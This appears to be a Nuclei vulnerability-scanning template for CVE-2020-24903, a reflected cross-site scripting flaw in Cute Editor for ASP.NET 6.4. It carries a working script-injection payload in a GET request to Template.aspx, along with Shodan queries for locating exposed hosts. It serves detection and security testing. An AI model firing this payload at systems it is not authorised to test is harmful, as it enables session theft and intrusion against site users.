id: CVE-2020-24903

info:
  name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Cute Editor for ASP.NET or implement proper input validation to prevent XSS attacks.
  reference:
    - https://seclists.org/bugtraq/2016/Mar/104
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24903
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24903
    cwe-id: CWE-79
    epss-score: 0.02932
    epss-percentile: 0.85714
    cpe: cpe:2.3:a:cutesoft:cute_editor:6.4:*:*:*:*:asp.net:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cutesoft
    product: cute_editor
    framework: asp.net
    shodan-query:
      - http.component:"ASP.NET"
      - http.component:"asp.net"
  tags: cve,cve2020,cuteeditor,xss,seclists,cutesoft,asp.net,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script></p>"
          - "System.Web"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fee5d2c559c219f2befed227beb8c5ffea8d3ce26dc50a3fe0052ef1d4669e0b022100ef352902362a0c398a594057272342644452dea454d26c19b0f7bcdedde0e3b0:922c64590222798bb761d5b6d8e72950